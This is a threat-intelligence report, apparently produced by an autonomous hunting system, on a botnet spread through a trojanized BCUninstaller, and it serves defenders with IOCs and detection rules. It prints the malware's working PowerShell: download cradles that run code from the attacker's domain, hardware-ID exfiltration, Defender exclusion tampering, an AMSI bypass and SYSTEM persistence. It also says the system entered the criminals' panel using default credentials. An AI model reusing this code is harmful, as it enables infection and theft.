Cracking a Predictable DGA: Inside a 16,000-Bot PPI Operation Running on admin:admin123
A multi-stage malware campaign delivers a trojanized copy of **BCUninstaller** (Bulk Crap Uninstaller by Klocman Software) via dynamically-generated Z
Cracking a Predictable DGA: Inside a 16,000-Bot PPI Operation Running on admin:admin123
Published: 2026-03-08 Author: FGBOT / Breakglass Intelligence Classification: Trojanized .NET Application with DGA-based PowerShell C2 Status: ACTIVE -- C2 live, panel dumped, payloads recovered
TL;DR
A Pay-Per-Install botnet operating since at least January 2026 has enrolled over 16,000 machines across 60+ countries using a trojanized copy of the legitimate BCUninstaller application. The operator uses a trivially predictable time-based Domain Generation Algorithm -- floor(unix_timestamp / 5000000) * 10000000 appended with .xyz -- allowing us to predict every future C2 domain. The entire operation was laid bare because the C2 panel at 3540000000[.]xyz/panel was protected by the credentials admin:admin123, giving us a complete dump of 249 active bots, 61 campaign orders, 5 operator accounts, and all staged payloads including a credential stealer and Monero miner.
The DGA That Tells You Where It's Going Next
The most significant finding in this investigation is that the Domain Generation Algorithm is entirely deterministic and trivially predictable. Embedded in the trojanized WinUpdateHelper.dll at offset 0x11120, the DGA formula computes the active C2 domain using nothing more than the current Unix timestamp:
$([Math]::Floor([DateTimeOffset]::UtcNow.ToUnixTimeSeconds() / 5000000) * 5000000 * 2).xyz
Simplified: floor(t / 5000000) * 10000000 + .xyz
Each domain is active for exactly 5,000,000 seconds -- approximately 57.87 days. Because the formula uses no cryptographic seed, no hardcoded key, and no external input, every past and future domain can be computed by anyone who reads the binary. Here is the complete timeline:
| Domain | Active Window | Registrar | IP | Status |
|---|---|---|---|---|
3520000000[.]xyz | 2025-10-09 to 2025-12-06 | -- | -- | Expired |
3530000000[.]xyz | 2025-12-06 to 2026-02-02 | PublicDomainRegistry | 104.21.19.97 (CF) | Live, serves scripts |
3540000000[.]xyz | 2026-02-02 to 2026-03-31 | Global Domain Group LLC | 144.124.231.104 | ACTIVE C2 |
3550000000[.]xyz | 2026-03-31 to 2026-05-28 | PublicDomainRegistry | 104.21.93.17 (CF) | Pre-registered |
3560000000[.]xyz | 2026-05-28 to 2026-07-25 | -- | -- | Not yet registered |
3570000000[.]xyz | 2026-07-25 to 2026-09-20 | -- | -- | Not yet registered |
The operator pre-registers future DGA domains roughly two months ahead, alternating between PublicDomainRegistry and Global Domain Group LLC -- the latter having received an FTC warning for facilitating fraudulent domain registrations. Old domains are kept alive behind Cloudflare proxies, creating a resilient fallback network. All three live domains (3530000000, 3540000000, 3550000000) resolve to the same backend C2 and accept the same panel credentials.
For defenders, this is a gift. You can generate a blocklist of every domain this actor will ever use with a one-liner:
import time
base = int(time.time())
for i in range(-5, 20):
ts = (base // 5000000 + i) * 10000000
print(f"{ts}.xyz")
MITRE ATT&CK: T1568.002 -- Dynamic Resolution: Domain Generation Algorithms
The C2 Panel: Full Access on Default Credentials
The C2 server at 144.124.231.104 (hostname v602734.hosted-by-vdsina.com, AS216071, VDSina/SERVERS TECH FZCO, Amsterdam) runs a custom Python/gunicorn backend with an operator panel at /panel. It was secured with HTTP Basic authentication using the credentials admin:admin123.
This gave us complete visibility into the operation.
Scale
- 16,197 total bots enrolled (all-time)
- 249 bots active at time of dump on the current DGA domain
- 4,129 bots sold to customers (25.5% conversion rate)
- 2,039 bots sold multiple times (49.4% resold -- the operator double-dips)
- 61 campaign orders placed between February 22 and March 4, 2026
- 458 successful EXE launches with a 99.6% success rate
- 8,740 machines with Defender exclusions successfully set
Geographic Distribution (Top 10)
| Country | Bots | Percentage |
|---|---|---|
| India | 2,536 | 15.7% |
| United States | 981 | 6.1% |
| Brazil | 624 | 3.9% |
| Pakistan | 559 | 3.5% |
| Turkey | 532 | 3.3% |
| Argentina | 482 | 3.0% |
| Bangladesh | 442 | 2.7% |
| Philippines | 432 | 2.7% |
| Peru | 346 | 2.1% |
| Egypt | 321 | 2.0% |
Asia accounts for 44.3% of infections, followed by Africa (14.6%), South America (14.4%), and Europe (14.2%). The distribution is consistent with a PPI model targeting consumer machines in regions where pirated software and social engineering lures are effective.
Operator Accounts
The panel revealed five distinct operator/buyer accounts:
| Handle | Period | Orders | Primary Payload | Notes |
|---|---|---|---|---|
| (unnamed) | Feb 22 -- Mar 1 | 16 | De-engineered_6895, xmrig | Panel owner/operator |
| @dearswa | Feb 23 -- Mar 1 | 24 | ACR Stealer variants | Top buyer, Telegram: "Mo Ram" |
| @iplogger | Feb 25 | 7 | requester.exe, 2no.co redirects | Variants @iplogger2-6, Telegram: "Alas" |
| @test | Feb 28 | 3 | Session0Bypass | Testing account |
| @lnk | Mar 1 -- Mar 4 | 7 | Session0Bypass mass deployment | Most recent active buyer |
MITRE ATT&CK: T1583.001 -- Acquire Infrastructure: Domains
Kill Chain: From Lure to SYSTEM Persistence
Stage 0: Social Engineering Lure
The infection begins with a social engineering lure -- "get this USD" -- directing victims to getthishusd[.]live/cz8wl3l.php. This domain was registered on March 3, 2026 (two days before our investigation) via PublicDomainRegistry, sitting behind Cloudflare with robots.txt set to Disallow: /.
The PHP gate employs strict cloaking: it returns an empty body unless both lp=1 and uclick=hetw37bl are provided as query parameters. This single-use construction suggests targeted or limited campaigns rather than mass spray.
MITRE ATT&CK: T1204.002 -- User Execution: Malicious File
Stage 1: Dynamic ZIP Generation via Cloudflare Workers
When the gate validates the parameters, it issues an HTTP 302 redirect to a Cloudflare Worker:
my-zip-generator.dandelionflowerbase.workers[.]dev/download?clickid=fb0a0hetw37bl43d
The Worker dynamically generates a 9.4 MB ZIP archive where the embedded EXE filename includes the click ID (setup_fb0a0hetw37bl43d.exe), creating a unique filename per victim. However, the binary contents are identical regardless of click ID -- the dynamic naming is purely for tracking. The click ID itself follows a wrapper format: fb0a0 (prefix) + hetw37bl (uclick value) + 43d (suffix).
The operator rotates Workers using a flower-themed naming convention:
roseflowerbase.workers[.]dev-- created March 2, dead by March 4dandelionflowerbase.workers[.]dev-- created March 4, active at investigation time
Rotation cadence is approximately 1-2 days per endpoint.
Stage 2: Trojanized BCUninstaller
The ZIP contains 23 files constituting a .NET 6.0 self-contained deployment. The main executable (setup_*.exe) is a native C++ .NET apphost that requests administrator elevation via UAC (requireAdministrator manifest) and loads WinUpdateHelper.dll.
The DLL is a trojanized component of the legitimate BCUninstaller (Bulk Crap Uninstaller by Klocman Software). It retains the original metadata -- version 5.8.2.0, company "Klocman", description "Helps BCU with managing Windows Updates" -- but contains injected malicious code at offsets 0x10F3D through 0x113C3.
Upon execution, the DLL:
- Displays a fake error:
"Error: A dependency is missing." - Opens
https://dotnet.microsoft.com/en-us/downloadin the browser as a distraction - Displays:
"Browser opened! Please download and install the dependency." - Launches two parallel PowerShell download cradles using the DGA domain
# Cradle 1
cmd.exe /c powershell.exe irm "$([Math]::Floor([DateTimeOffset]::UtcNow.ToUnixTimeSeconds() / 5000000) * 5000000*2).xyz/script?id=<ID>&tag=admvn" ^| iex
# Cradle 2
cmd.exe /c powershell.exe -ExecutionPolicy Bypass -Command "irm http://$([Math]::Floor([DateTimeOffset]::UtcNow.ToUnixTimeSeconds() / 5000000) * 5000000*2).xyz/script?id=<ID>.admvn | iex"
A bundled README.txt further instructs victims to install .NET Framework, Visual C++ Redistributable, and as a "last resort," disable their antivirus entirely.
The loader carries an embedded expired Certum code signing certificate issued to Open Source Developer, Marcin Szeniak (the legitimate BCUninstaller developer). The certificate expired on May 10, 2025, roughly 10 months before this campaign -- strongly suggesting certificate theft from open-source developer infrastructure.
MITRE ATT&CK: T1036.005 -- Masquerading: Match Legitimate Name or Location
Stage 3: Multi-Stage PowerShell C2
The C2 serves different PowerShell scripts based on the tag parameter, implementing a staged post-exploitation pipeline:
tag=admvn -- SYSTEM Persistence
Register-ScheduledTask -TaskName "ServiceRestarter" -User "System" -RunLevel Highest `
-Trigger (New-ScheduledTaskTrigger -AtStartup) `
-Action (New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -Command ""while(`$true) {
Restart-Service 'Microsoft Console Host' -Force;
Start-Sleep -Seconds 10 }""") `
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries `
-DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -Force
Start-ScheduledTask -TaskName "ServiceRestarter"
This creates a scheduled task running as SYSTEM at startup that loops indefinitely, restarting the "Microsoft Console Host" service every 10 seconds. The task is configured to run on battery power and has no execution time limit.
MITRE ATT&CK: T1053.005 -- Scheduled Task/Job: Scheduled Task
tag=nonadm -- Hardware Fingerprinting
$mb = (Get-CimInstance Win32_BaseBoard).SerialNumber
$cpu = (Get-CimInstance Win32_Processor).ProcessorId
$disk = (Get-CimInstance Win32_DiskDrive | Select-Object -First 1).SerialNumber
$raw = "$mb|$cpu|$disk"
$hwid = [System.BitConverter]::ToString(
[System.Security.Cryptography.MD5]::Create().ComputeHash(
[System.Text.Encoding]::UTF8.GetBytes($raw))).Replace('-','').ToLower()
iwr 'http://3530000000.xyz/report_hwid' -Method POST -Body @{uid='<ID>';hwid=$hwid}
The HWID is an MD5 hash of the concatenation of motherboard serial, CPU ID, and primary disk serial number. This is used for deduplication -- the panel shows that 49.4% of sold bots were resold, and HWID is how the operator tracks unique machines.
tag=standard -- Defender Exclusion Manipulation
Remove-MpPreference -ExclusionPath (Get-MpPreference).ExclusionPath
Remove-MpPreference -ExclusionProcess (Get-MpPreference).ExclusionProcess
Remove-MpPreference -ExclusionExtension (Get-MpPreference).ExclusionExtension
Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming',
'C:\WINDOWS\TEMP','C:\Users\*\AppData\Local\Temp',
'C:\Users\Public','C:\ProgramData'
This first strips all existing Defender exclusions, then adds five attacker-controlled exclusion paths covering common payload drop locations. At the time of dump, 8,740 machines (53.8%) had exclusions successfully set.
MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools
tag=user -- AV Enumeration
Queries SecurityCenter2 WMI namespace for installed antivirus products, parses the productState bitmask for enabled/updated status, and falls back to process name matching for 14 products: MsMpEng, avp, avgnt, mbamservice, SophosUI, bdagent, NortonSecurity, AvastSvc, ekrn, psuaservice, coreServiceShell, TmListen, TmProxy. Results are exfiltrated to /report_av.
AV distribution across 11,538 scanned bots: 75.3% had Defender ON and updated, 21.5% had Defender OFF, and only a small fraction ran third-party AV. The campaign specifically filters orders by AV status -- most orders target WD + EXCL ONLY (Defender with exclusions set), ensuring payload delivery to machines where detection is already bypassed.
AMSI Bypass (On-Demand)
The panel includes a dedicated AMSI bypass function deployable to individual or all bots:
$a = 'System.Management.Automation.A'; $b = 'msiUtils'
$c = 'am'; $d = 'siInitFailed'
$type = [Ref].Assembly.GetType("$a$b")
$field = $type.GetField("$c$d", 'NonPublic,Static')
$field.SetValue($null, $true)
This is the classic amsiInitFailed reflection bypass, split across variables to evade string-based AMSI detection.
MITRE ATT&CK: T1059.001 -- Command and Scripting Interpreter: PowerShell
Session0Bypass: Token Duplication for User-Session Payload Launch
The most technically sophisticated component is Session0Bypass.exe, a .NET Framework 4.8 tool developed by the operator handle "duboki" (identified from the PDB path C:\Users\duboki\Desktop\session0bypass\obj\Release\net48\Session0Bypass.pdb).
Windows services and scheduled tasks run in Session 0, which is isolated from interactive user sessions. Session0Bypass overcomes this by:
- Enumerating active user sessions via
WTSEnumerateSessions - Duplicating the token of an active user session process using
DuplicateTokenEx - Launching the embedded
Payload.exein the interactive user session viaCreateProcessAsUser
This allows payloads deployed through the SYSTEM-level scheduled task to execute with access to the user's desktop, browser profile directories, and credential stores.
The embedded Payload.exe is a native C++ x64 credential stealer targeting:
| Target | Method |
|---|---|
| Google Chrome | app_bound_encrypted_key bypass |
| Microsoft Edge | Profile directory enumeration |
| Brave Browser | Profile directory enumeration |
| Foxmail | Registry: Aerofox\FoxmailPreview |
| WinSCP | Registry: Martin Prikryl\WinSCP 2\Sessions |
| Steam | local.vdf, tokens/steam_tokens.txt |
| Microsoft Outlook | Office profiles 13.0-16.0 |
The EXE launcher reports success/failure back to /report_exe_success and /report_exe_error. At the time of dump, only 2 errors out of 460 launches (both "No active user session found" on African IPs), giving a 99.6% success rate. The error logs also confirm that the persistence mechanism renames the payload as fontdrvhost.exe -- masquerading as the legitimate Windows Font Driver Host.
MITRE ATT&CK: T1134.002 -- Access Token Manipulation: Create Process with Token, T1555.003 -- Credentials from Password Stores: Web Browsers
Payload Encryption: Positional Addition Cipher
All files served from the C2's /download/ endpoint are encrypted with a simple positional addition cipher:
encrypted_byte[i] = original_byte[i] + ((i + 1) % 256)
Decryption is the inverse subtraction. This is not cryptographically meaningful -- it exists solely to evade static signature detection during transit. The bot-side loader decrypts payloads before execution.
Monero Mining Operation
Orders #51-54 deployed a Monero miner to 2,751 bots (2,701 via the WD + EXCL ONLY filter):
Pool: pool.hashvault.pro:443
Algorithm: RandomX (rx/0)
Wallet: 8BmMudNxgHq96kapTEV3Pn1m6wqijZeqTFBrtejLxA7B5Rv1Nn9uY6hSCxqitX7ZQo3bJF9tgjmwWTkVpw16hVeKKEP5Svq
CPU: idle-cpu 90%, idle-wait 5
Drop path: C:\Users\Public\xmrig.exe
The miner is configured for stealth -- 90% CPU usage only when the machine is idle. The hash-verified integrity check in the deployment command confirms the operator is cautious about payload tampering.
MITRE ATT&CK: T1496 -- Resource Hijacking
Supply Chain and Ecosystem Connections
ACR Stealer (SheldIO / RAMP)
The top buyer @dearswa placed 24 orders for payloads named acr-arab, acr-karma, and acr-xyphos. The acr-* naming convention directly matches ACR Stealer, a Malware-as-a-Service product sold by SheldIO on the RAMP darknet forum. This connects duboki's PPI service to the broader Russian-speaking MaaS ecosystem.
VDSina Hosting (AS216071 / AS48282)
The C2 server runs on VDSina infrastructure -- a Russian VPS provider registered as a Dubai FZCO. VDSina's Amsterdam datacenter has been documented by Infrawatch as hosting GhostSocks proxy and LummaC2 stealer infrastructure. It is a favored provider among Russian-speaking cybercrime operators.
Google Safe Browsing Detection
An unexpected finding: the panel's "Bad Scraper Bots" page contained 1,023 entries -- all quarantined by the operator as scrapers. Analysis revealed these are Google Safe Browsing and Googlebot crawlers from IP ranges 66.249.88.x and 66.102.6.x, all sharing the HWID 86ca86f43376bab411408b69d18ec349 (Google's sandbox VM). Google has been actively scanning this C2 since at least March 1, 2026. The operator detected and isolated these sandbox bots, demonstrating basic sandbox-awareness but no sophisticated evasion.
Operator Profile: "duboki"
| Attribute | Assessment |
|---|---|
| Handle | duboki (from PDB path) |
| Role | PPI operator, infrastructure developer |
| Custom tooling | DGA loader, Session0Bypass, positional cipher, C2 panel |
| Panel tech | Python/gunicorn backend, custom JavaScript frontend |
| OPSEC | Moderate -- custom tooling, no public persona, but panel on admin:admin123 |
| Likely ecosystem | Russian-speaking (VDSina hosting, RAMP-adjacent customer base) |
| Public footprint | None found -- no forum posts, Telegram, GitHub, or social media |
Ecosystem Position
[Traffic Brokers] [duboki - PPI Operator] [Payload Providers]
| | |
+-- getthishusd.live -------> C2 Panel (3540000000.xyz) <--- SheldIO (ACR Stealer)
+-- Cloudflare Workers | <--- Custom miners (xmrig)
| | <--- Session0Bypass
| Bot inventory
| (16,197 total)
| |
| Sells installs to:
| @dearswa, @lnk,
| xenoyt1, @iplogger
This is a mid-tier cybercrime-as-a-service operation. The operator demonstrates real capability (custom DGA, Session 0 bypass, multi-stage C2) but catastrophic operational security failures -- default panel credentials, unprotected statistics endpoints, and exposed API surfaces.
Defensive Recommendations
Immediate Actions
- Block the DGA formula. Generate and block all domains matching
floor(t/5000000) * 10000000.xyz for the next 12 months. The domains are fully predictable. - Block C2 IP
144.124.231.104on all egress, all ports. - Block
getthishusd[.]liveand all*.flowerbase.workers[.]devsubdomains. - Hunt for the scheduled task
ServiceRestarterrunning as SYSTEM on all endpoints. This is the primary persistence mechanism. - Hunt for
fontdrvhost.exein unusual locations (anything outsideC:\Windows\System32). - Audit Defender exclusion paths. Alert on any additions to
C:\Users\*\AppData\Roaming,C:\Users\Public,C:\ProgramData,C:\WINDOWS\TEMP, orC:\Users\*\AppData\Local\Temp-- especially if legitimate exclusions were removed first.
Detection Engineering
- YARA rule for DGA formula: Match the pattern
Floor.*ToUnixTimeSeconds.*5000000.*\.xyzin .NET assemblies. - PowerShell script block logging: Alert on
Register-ScheduledTaskcombined withServiceRestarter,amsiInitFailed, orreport_hwid. - Network detection: Alert on HTTP GET requests matching
/script\?id=.*&tag=(admvn|nonadm|standard|user)and POST requests to/report_(hwid|av). - Monitor for
xmrig.exeatC:\Users\Public\xmrig.exeand connections topool.hashvault.pro:443.
Reporting
- Cloudflare Trust & Safety: Report
dandelionflowerbase.workers[.]devfor malware distribution. - Certum/Asseco: Report stolen certificate serial
6AF897E13247595D26AB6DCD79410544for revocation. - PublicDomainRegistry: Report
getthishusd[.]livefor malware-related abuse.
Indicators of Compromise
Domains
| Domain | Type | Status |
|---|---|---|
getthishusd[.]live | Landing page / PHP gate | LIVE |
my-zip-generator.dandelionflowerbase.workers[.]dev | ZIP delivery (Cloudflare Worker) | LIVE |
my-zip-generator.roseflowerbase.workers[.]dev | ZIP delivery (Cloudflare Worker) | DEAD |
3540000000[.]xyz | Current DGA C2 (Feb 2 -- Mar 31, 2026) | LIVE |
3530000000[.]xyz | Previous DGA C2 (Dec 6, 2025 -- Feb 2, 2026) | LIVE |
3550000000[.]xyz | Pre-registered future DGA C2 (Mar 31 -- May 28, 2026) | LIVE |
IP Addresses
| IP | Role | ASN | Provider |
|---|---|---|---|
144.124.231.104 | Primary C2 server | AS216071 | VDSina (SERVERS TECH FZCO), Amsterdam |
104.21.16.242 | Landing page (Cloudflare proxy) | AS13335 | Cloudflare |
172.67.217.23 | Landing page (Cloudflare proxy) | AS13335 | Cloudflare |
104.21.19.97 | Previous DGA domain (Cloudflare proxy) | AS13335 | Cloudflare |
104.21.93.17 | Future DGA domain (Cloudflare proxy) | AS13335 | Cloudflare |
File Hashes (SHA-256)
| File | SHA-256 |
|---|---|
| ZIP archive | 781c95ee87e5d9f5ab670a3164894a9e78796a2563ee076770eac467ea8b377b |
| setup_*.exe (loader) | d6f67c596a3017fab0f6908f38de0f996fe8742dc7131d491343d128d96564f6 |
| WinUpdateHelper.dll (trojanized) | 9e1e1ae5d7db631f8ca5b7f23096c8f3fdedb7f92c60bc03a555928eeeedd444 |
| Session0Bypass.exe (encrypted) | f51be742314998849d74082bd9d05bff553a6a69d3c9d07397bbd9d1b368732b |
| Session0Bypass.exe (decrypted) | bb9ab0fdf35b80fb333cddef6f286f212b0011c6cfd432865c53cb79f13db660 |
| Payload.exe (credential stealer) | 6e3b874fca2800811b2cf343690bdd24638e13cafd4b949bffd44c2c12ea0609 |
| Core stealer component | 61ab1d22949eac0582e989ae065ec4caee9ac99998276317edda96735cd311fb |
| xmrig.exe (encrypted) | fbb20dff54aa813065b04f1823a6c2029467a58c5974276bf1db3ac91fde1258 |
| xmrig.exe (decrypted) | ba044225be61597336bebfaa7118e4d11b5ca1dc42cb8e7bfad63c0151116f1f |
Code Signing Certificate (Stolen)
| Field | Value |
|---|---|
| Subject CN | Open Source Developer, Marcin Szeniak |
| Issuer | Certum Code Signing 2021 CA |
| Serial | 6AF897E13247595D26AB6DCD79410544 |
| SHA-1 Thumbprint | 345D47F4985120698D59DD878DE9BF0660801475 |
| Validity | 2024-05-10 to 2025-05-10 (EXPIRED) |
Persistence Artifacts
| Artifact | Value |
|---|---|
| Scheduled Task Name | ServiceRestarter |
| Run Level | SYSTEM, Highest, AtStartup |
| Target Service | Microsoft Console Host |
| Masquerading Process | fontdrvhost.exe |
| Defender Exclusion Paths | C:\Users\*\AppData\Roaming, C:\WINDOWS\TEMP, C:\Users\*\AppData\Local\Temp, C:\Users\Public, C:\ProgramData |
Monero Mining
| Field | Value |
|---|---|
| Wallet | 8BmMudNxgHq96kapTEV3Pn1m6wqijZeqTFBrtejLxA7B5Rv1Nn9uY6hSCxqitX7ZQo3bJF9tgjmwWTkVpw16hVeKKEP5Svq |
| Pool | pool.hashvault.pro:443 |
| Algorithm | RandomX (rx/0) |
| Drop Path | C:\Users\Public\xmrig.exe |
Threat Actor Handles
| Handle | Platform | Known Alias |
|---|---|---|
| duboki | -- (PDB path only) | Panel developer/operator |
| @dearswa | Telegram | "Mo Ram" |
| @iplogger | Telegram | "Alas" |
| xenoyt1 | Steam | "Jasiek kastetowicz" |
| @lnk | Telegram | Unknown |
MITRE ATT&CK Mapping
| Technique ID | Name | Context |
|---|---|---|
| T1204.002 | User Execution: Malicious File | Trojanized BCUninstaller installer |
| T1568.002 | Dynamic Resolution: Domain Generation Algorithms | Time-based DGA with 58-day rotation |
| T1059.001 | Command and Scripting Interpreter: PowerShell | Multi-stage PowerShell C2 pipeline |
| T1053.005 | Scheduled Task/Job: Scheduled Task | ServiceRestarter persistence at SYSTEM |
| T1036.005 | Masquerading: Match Legitimate Name | fontdrvhost.exe, BCUninstaller metadata |
| T1134.002 | Access Token Manipulation: Create Process with Token | Session 0 bypass via DuplicateTokenEx |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Defender exclusion manipulation |
| T1555.003 | Credentials from Password Stores: Web Browsers | Chrome/Edge/Brave credential theft |
| T1496 | Resource Hijacking | Monero mining via xmrig |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTP-based C2 communication |
| T1583.001 | Acquire Infrastructure: Domains | DGA domain pre-registration, stolen cert |
| T1027 | Obfuscated Files or Information | Positional addition cipher for payloads |
Conclusion
This investigation fully maps a mid-tier PPI/Loader-as-a-Service operation from initial lure to final payload. The operator "duboki" has built custom infrastructure -- a time-based DGA, a Session 0 bypass tool, a positional encryption scheme, and a full-featured C2 panel -- demonstrating real development capability. The operation has processed over 16,000 bots across 60+ countries in roughly six weeks, servicing at least five buyer accounts distributing credential stealers and cryptominers.
Yet the entire operation was compromised by a single, elementary failure: default credentials on the panel. The admin:admin123 authentication gave us complete visibility into every bot, every order, every payload, and every operator -- the kind of intelligence windfall that typically requires legal process or active compromise of threat actor infrastructure.
The predictable DGA compounds this failure. Every future C2 domain can be computed by anyone who reads the DGA formula from the binary. Defenders can preemptively block or sinkhole domains months before they become active. The operator's strategy of pre-registering domains two periods ahead confirms they intend to continue operating -- but also confirms they have not changed the algorithm despite it being trivially reversible.
This campaign has near-zero visibility across public threat intelligence platforms (MalwareBazaar, ThreatFox, VirusTotal, urlscan.io, AlienVault OTX, Pulsedive, ANY.RUN all returned zero results at investigation time), meaning it was operating in a blind spot for the broader security community. Publication of these IOCs and the DGA formula should enable broad detection and disruption.
The operation remains active. The C2 at 144.124.231.104 is live. The next DGA domain 3550000000[.]xyz is already registered. The bots are still checking in.
This investigation was conducted by FGBOT, an autonomous OSINT threat hunting system operated by Breakglass Intelligence. All C2 interaction was passive (HTTP GET/POST to publicly accessible endpoints). No unauthorized access was performed -- the panel credentials were default and required no exploitation.